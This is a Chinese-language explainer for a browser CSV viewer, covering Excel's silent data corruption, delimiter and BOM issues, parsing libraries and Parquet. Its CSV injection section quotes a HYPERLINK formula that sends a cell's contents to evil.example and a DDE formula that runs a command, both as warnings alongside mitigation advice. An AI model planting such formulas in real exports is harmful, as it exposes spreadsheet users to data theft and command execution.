CSV 查看器，免费

为什么"不用 Excel 查看 CSV"本身就是一种使用场景

面对"我怎么打开一个 CSV？"这个问题，朴素答案是"双击它，Excel 就会打开"。对于真正需要查看 CSV 的人当中相当一部分而言，这个答案是错误的。原因可以分为四类，每一类都是落到本工具这种基于浏览器的查看器的真实理由。

1. Excel 一打开就把数据毁了。被引用最多的例子是基因名灾难，Excel 读到 MARCH1 写成 1-Mar，读到 SEPT2 写成 2-Sep。HUGO Gene Nomenclature Committee 放弃和 Excel 较劲，于 2020 年重命名了二十七个人类基因，因为数据腐烂太普遍。2020 年发表于 PLOS Computational Biology 的一篇论文检查了 3597 篇文献，发现大约五分之一的基因补充数据已被 Excel 的自动转换悄悄破坏。基因是著名案例，但同样的机制还吞掉美国邮编（01234 变 1234）、带前导零的产品 SKU、音乐或化学里的分数记法（3/4、4/4）、形似日期的序列号（1-1、2-2）、电话分机号，以及以科学计数法表示的账号（9.18e+12 而不是 9180000000000）。一个查看器（把原始字节按写入的样子展示出来的东西）不仅是便利，它是一种正确性原语。如果你需要确认一列客户 ID 是否完好地通过了导出，你需要一个不解析、不强制类型转换、不"帮你忙"的查看器。

2. 那台机器上没有 Excel。2026 年笔记本电脑里相当一部分没有 Microsoft 365 授权。Chromebook 出厂就没有；很多 Linux 发行版用的是 LibreOffice Calc，它有自己的怪癖；很多 Mac 用户用 Apple Numbers 打开 CSV，它会悄悄折行并有自己的数字强制转换性格。任何想在一台没有装软件权限的公司机器上、一台借来的设备上或一个公共自助终端上查看文件的人，都需要一个在任何浏览器标签页里跑、不需要权限的工具。

3. 文件超过了 Excel 允许的体量。Excel 2007 引入 .xlsx，把行数上限从 .xls 的 65 536 行抬到了 1 048 576 行（2²⁰）。列数上限从 256 升到 16 384（2¹⁴）。在过去二十年里，这对大多数人够用了。如今对许多人来说已经不够。一个普通服务器一周可以产出两百万行日志。一家中型店铺一整年的 Shopify 订单导出，可以轻松突破一百万行。一个以 1 赫兹采样的传感器每天产出 86 400 行；一年 3150 万行。Excel 对溢出的处理是粗暴的：它在 1 048 576 行处悄悄截断，然后像什么都没发生一样继续。没有警告横幅。用户几周后才发现行不见了，往往根本发现不了。

4. 移动端。iOS 和 Android 上的电子表格 App 是二等公民。Excel 移动版存在，但要绑定 Microsoft 账户，只有桌面功能的一小部分，并且在手机上看宽表很痛苦。有时你只是想打开同事邮件里的附件、看几行、截个图，然后回复。一个在移动浏览器里就能加载、把数据格式化成可滚动 HTML 表格、什么别的都不做的 CSV 查看器，正是这件事的最佳工具。

还有第五种更小的场景：为消息准备截图。很多时候人真正想要的是三四行干净的截图，能贴到 Slack、工单或邮件回复里。在 Excel 里打开再截图，会得到带着功能区、网格线、选中单元格指示器以及顶部文件路径条的图像，截图里二十个百分点都是 Excel 的界面装饰。在浏览器标签里渲染的一张纯 HTML 表格是最干净的截图素材。

一段简短的历史（与"查看"相关的部分）

完整的 CSV 历史在配套的 text-to-csv 页：IBM Fortran 1972 年、几十年的非正式使用、RFC 4180 终于在 2005 年 10 月由 Yakov Shafranovich 发布、MIME 类型 text/csv 在 IANA 注册、W3C 制定的 Model for Tabular Data and Metadata on the Web (CSVW) 于 2015 年 12 月 17 日达到 W3C Recommendation 状态（实际中大半被忽略）。对查看而言要点是：这些文档没有一个规定 CSV 该怎么显示。没有规范化的列宽、没有对齐约定、没有规则说第 1 行是表头。RFC 4180 告诉写者如何转义逗号；它对读者怎么渲染只字未提。查看器的工作没有规范定义。

我们手头有的是来自电子表格软件的约定（文字左对齐、数字右对齐、首行冻结、用交替底色提高可读性）和来自 Web 表格的约定（可排序表头、sticky 定位、网格上方的搜索输入框）。一个现代 CSV 查看器，本质上就是一个去掉编辑功能的电子表格 UI。

Locale 分隔符与 BOM 的陷阱

啃 CSV 写者的本地化分隔符乱象同样啃读者：en-US 用逗号，fr-FR/de-DE/it-IT/es-ES/pt-BR 用分号，其他地方还有 Tab、竖线。一个把逗号写死的查看器，把一份法语"CSV"渲染成每行一列，开箱就是坏的。本工具默认"自动检测"加手动覆盖的设计是对的：先尝试做聪明的事，但当启发式失败时（在某一列里所有值都恰好包含逗号的文件上，它一定会失败），用户可以自己选。

字节顺序标记 (BOM)（UTF-8 文件起始处的三字节 EF BB BF，对应码点 U+FEFF）之所以存在，是因为 Windows 上的 Excel 没有它就拒绝识别 UTF-8。一个有礼貌的 CSV 写者会加上 BOM 来对 Excel 友好；代价由所有其他读者承担。几乎所有命令行工具（awk、cut、head、tail、较旧的 sed）都把 BOM 当作第一个字段的一部分。本应读作 name 的列名变成 name。Python 内置的 csv 模块除非用 utf-8-sig 编解码器打开文件，否则不会剥去 BOM；上百万份教程用的就是普通的 utf-8，悄悄写出了坏掉的解析器。如果你看到第一个列名前出现奇怪字符，那是一个 UTF-8 BOM，不是文件的 bug，只是编码器和解码器之间不匹配。

Excel 的四种 "CSV" 变体

Excel 的"另存为"对话框里提供四种 "CSV" 格式，而那些标签都具有误导性。"Comma delimited" 标签实际上使用的是用户本地化的列表分隔符，在欧洲大陆和拉美大部分地区是分号。

• CSV (Comma delimited)：使用用户 locale 的列表分隔符、ANSI 代码页、无 BOM、CRLF。
• CSV UTF-8 (Comma delimited)：2016 版 Excel 才加入，是四者中唯一使用 UTF-8（带 BOM）的格式。
• CSV (Macintosh)：MacRoman 编码，classic-Mac 的纯 CR 行尾，基本已淘汰但仍偶有出现。
• CSV (MS-DOS)：OEM 代码页（en-US 是 CP437，西欧是 CP850）。

一个想在所有变体上"开箱即用"的查看器，需要检测编码（UTF-8 ± BOM、带 BOM 的 UTF-16、Windows-1252、ISO-8859-1、MacRoman、Shift_JIS、GBK）、行尾（CRLF/LF/CR）、分隔符（逗号/分号/Tab/竖线/自定义）、引号样式（RFC 4180 双引号转义、反斜杠、无）以及表头是否存在。要把所有这些可靠地检测出来确实困难。务实的做法是：能检测就检测，其余暴露手动覆盖选项，决不静默失败。本工具开放了分隔符的手动设置，这覆盖了最常见的意外。它目前还没有开放编码，一个以 Windows-1252 导出的法语带重音字符的 CSV，将持续显示乱码（é 而不是 é），直到它也被加上合适的覆盖选项。

浏览器端解析，相关库

客户端最主流的 CSV 库是 PapaParse，2013 年由 Matt Holt 创建，当前在 GitHub 上约有 13.4k 星标。它的口号 "the fastest in-browser CSV parser" 并非夸张。它符合 RFC 4180、采用 MIT 许可、零依赖，支持同步字符串解析、通过 FileReader 的异步文件解析、面向超过 RAM 文件的分块流式解析，以及 Worker 线程解析来保持 UI 响应。除非有具体理由不选，浏览器端 CSV 工具的默认就是 PapaParse。

Node 一侧的经典选择是 csv-parse（Adaltas 出品，首次发布于 2010 年），经过实战检验，同时提供回调和流两套 API。csv-parser（mafintosh）优先考虑原始吞吐量而非功能广度。fast-csv（C2FO）则是用 TypeScript 写的解析器与格式化器组合，适合希望读写都在同一个库里的团队。

面向超过 RAM 的文件的流式处理

在浏览器里朴素地读 CSV 用的是 FileReader.readAsText(file)，它会在调用 onload 之前把整个文件读入内存。100 MB 的文件就意味着 100 MB 的 JavaScript 堆。1 GB 的文件，在大多数家用硬件上会让标签页耗尽内存或几近卡死。

现代的替代方案是 Streams API，从 Chrome 71 和 Firefox 65 起以 File.prototype.stream() 的形式提供。调用 file.stream() 返回一个 ReadableStream<Uint8Array>，按块吐出文件字节。消费者从流里读、用 TextDecoder 解码每一块（带上 stream: true 标志，以便跨块边界的多字节 UTF-8 序列能被正确缝合），把文本喂给一个流式解析器。PapaParse 可以通过 step 或 chunk 回调直接吃流。结果是任意大小文件的常量内存解析。

对查看器而言，光有流式解析还不够（渲染出来的表格也必须虚拟化，否则把一千万个 <tr> 渲染出来，即便解析成功，页面也会崩。标准架构是：加载时流解析进 IndexedDB，滚动时从 IndexedDB 虚拟化渲染。本工具目前面向数十兆量级的文件做优化）覆盖了几乎所有人的"我只是想看看这个文件"工作流。对多 GB 的 CSV，请看 Visidata、DuckDB CLI 的 FROM 子句或 csvkit 的 csvlook 这类桌面工具。

排序、筛选、透视，JavaScript 表格库的版图

一旦数据进入页面，用户想做三件事：按列排序、筛选行、有时透视。围绕在浏览器 DOM 中重新实现这三件事，已经形成了一整个 JavaScript 库的产业：

• DataTables.js（Allan Jardine，2008 年开始开发，SpryMedia 2011 年成立）是元老。把任意 HTML <table> 拿来，就能得到可排序表头、即时搜索输入、分页与列显示/隐藏控制。最初基于 jQuery；作为插件下钩很顺手。在几万行规模下舒服；到几十万行时分页就开始成为承重墙。
• AG Grid（Niall Crosby，2015 年；脱胎于 Crosby 在伦敦交易大厅对 grid 的失望）是重量级选手。围绕 DOM 虚拟化构建（只有视口里可见的行真正被渲染）因此一根滚动条上轻松显示百万行。免费 Community Edition（MIT）加上付费 Enterprise Edition（透视表、高级筛选、内置图表、服务端行模型）。"我在做一个需要在浏览器里看起来像 Excel 的严肃数据工具"的默认选择。
• Tabulator（Oli Folkerd）是现代无依赖替代方案。4.0 版本（2018 年）抛弃了包括 jQuery 在内的所有依赖；正好处在"DataTables 太 jQuery 了"和"AG Grid 太重了"之间的甜点。

专门做透视：PivotTable.js（Nicolas Kruchten）是被引用最多的 JS 库；AG Grid Enterprise 的 pivot 模式是商业首选。透视是一项较重的操作，往往更适合先把数据导出到一个能为之建索引的工具里再做。

CSV 与 Apache Parquet 用于分析负载的比较

CSV 仍然存活的原因是文化的和惯性的，不是技术的。对于严肃分析而言，把 CSV 的午餐吃掉的格式是 Apache Parquet，一种二进制列式格式，最初由 Twitter 和 Cloudera 的工程师在 2013 年共同开发，2015 年 4 月 27 日成为 Apache Software Foundation 顶级项目。Parquet 按列而非按行存储数据，这种倒转正是分析所要的：SELECT AVG(price) FROM big_table 这样的查询只从磁盘读取 price 这一列，完全跳过其他列。换成 CSV，同样的查询不得不读完文件里的每一个字节。

Parquet 还携带 schema 元数据（类型是显式的，而不是猜出来的）、采用列式压缩，对未压缩 CSV 通常达到 5-10 倍压缩比，并支持谓词下推，让引擎能够根据列统计跳过整个 row group。它是 Snowflake、BigQuery、Databricks、Amazon Athena 以及几乎所有现代云数据仓库和湖仓的默认文件格式。如果你反复查看同一份 GB 级文件，请考虑 Parquet，更快、更小，几乎所有现代数据工具都原生读取它。今天最好的理解是：CSV 是人与消费类软件长尾之间的交换格式，Parquet 是机器之间的存储格式。

CSV 注入，安全角度

CSV 注入（有时叫公式注入）是指当 CSV 单元格里某个值以 =、+、- 或 @ 开头时，Excel 和 Google Sheets 在打开文件时把它当作公式来解释。OWASP 自 2014 年起就有文档化记录。教科书例子是 =2+5 显示为 7 而不是字面文字。危险例子是 =HYPERLINK("https://evil.example/log?d="&A1, "Click for results")，一旦点击就会把单元格 A1 的内容外泄给攻击者。真正危险的例子曾是 =cmd|'/c calc'!A0，在某些 Excel 版本上可以通过 DDE 启动任意命令，2018 年微软默认 DDE 设置的变更对此有显著缓解，但在部分配置下仍然可触发。

按 OWASP 指南的标准缓解办法：在用用户提交文本生成 CSV 时，对任何以 =、+、-、@、Tab 或回车开头的单元格前置一个单引号。查看器处在攻击的接收端，而不是发起端，不过，如果你在这里打开了一份带公式前缀单元格的 CSV，那就是一条强烈提示：没替换掉那些单元格之前，不要在 Excel 里打开同一份文件。先在查看器里检查，恰恰就是为了抓住这种陷阱。

现实里人们打开这种查看器的场景

• 银行或金融科技对账单 CSV。大多数零售银行允许客户下载一整年的交易历史 CSV。客户想在把文件导入预算 App、税务工具或会计电子表格之前先看一眼，确认日期范围、清点交易笔数、搜索某个特定商户。
• IoT 与传感器数据导出。气象站 CSV、土壤湿度传感器日志、智能家居电表导出。常常成千上万行。用户在确认某段时间内采样未中断、没有空缺。
• 服务器日志转储。Apache combined 日志格式转 CSV、用 logger -t 导出的 syslog 记录、被发送到 S3 再下载下来检查的应用日志。
• CRM 与 SaaS 导出。Salesforce Account 导出、HubSpot 联系人、Stripe 客户、Mailchimp 受众、Shopify 订单、Notion 数据库。每个 SaaS 平台都有自己的 CSV 格式与怪癖。用户在批量编辑、重新导入或把文件交给同事之前先做检查。
• 问卷回应。Google Forms、SurveyMonkey、Typeform、Qualtrics，默认都导出 CSV。研究人员想看看开放题回答、对分布有个感觉、确认没有空回答。
• 公开数据下载。政府开放数据门户（data.gov、data.gov.uk、欧盟 Open Data Portal）、维基百科数据导出、科学数据仓库。CSV 是通用最大公约数。
• 批量导入前的准备。用户手工或借助其他工具拼出了一份 CSV，想在上传到一个会静默拒绝问题行的系统之前，先确认格式正确。查看器是干跑。
• 接手他人的文件。同事发来一份 CSV。用户并不知道里面是什么。先扫一眼，再决定是否要继续深挖。

更多问答

这工具能打开多大文件？

当前实现对数十兆量级的文件比较从容，能轻松装进浏览器内存，并渲染为合理的 HTML 表格。文件到几百兆甚至更大时，页面会变慢；进到几 GB 时，标签页可能耗尽内存而崩溃。对极大型 CSV，请看 Visidata、csvkit 的 csvlook 或 DuckDB CLI 的 FROM 'file.csv' 查询这类桌面工具。

为什么我的 CSV 看起来只是一根巨大列？

自动分隔符识别猜错了。最常见的情况是文件使用分号（欧洲大陆多数地区）、Tab（被错误标成 CSV 的 TSV 文件）或竖线（一些数据库导出）。把"分隔符"下拉切换到正确的字符，往往文件扩展名和实际内容并不一致。

我的重音字符看起来全是乱码。怎么回事？

编码不匹配，文件用 Windows-1252（或其他非 UTF-8 编码）编码，而工具把它当作 UTF-8 解释。典型症状是 é 显示成 é。当前查看器没有开放编码覆盖项，但你可以在任何现代文本编辑器里（Notepad++、VS Code、BBEdit、gedit，甚至 Windows 较新的记事本）把文件另存为 UTF-8，然后在这里重新打开。

我应该用这个工具还是直接在 Excel 里打开？

如果你的 CSV 只包含 Excel 不会顺手弄坏的数据（纯文本散文列、正常范围内的整数、Excel 期望格式的日期）那 Excel 没问题，而且编辑工具更丰富。如果你的 CSV 里有任何 Excel 可能改写的内容（基因名、带前导零的邮编、像 3/4 这样的分数、形似科学计数法的字符串、任何需要逐字节保留的内容），先在查看器里打开确认实际内容，再让 Excel 碰它。在这里花的那一个小时，远远便宜过一周后才发现 Excel 重命名了你的基因集。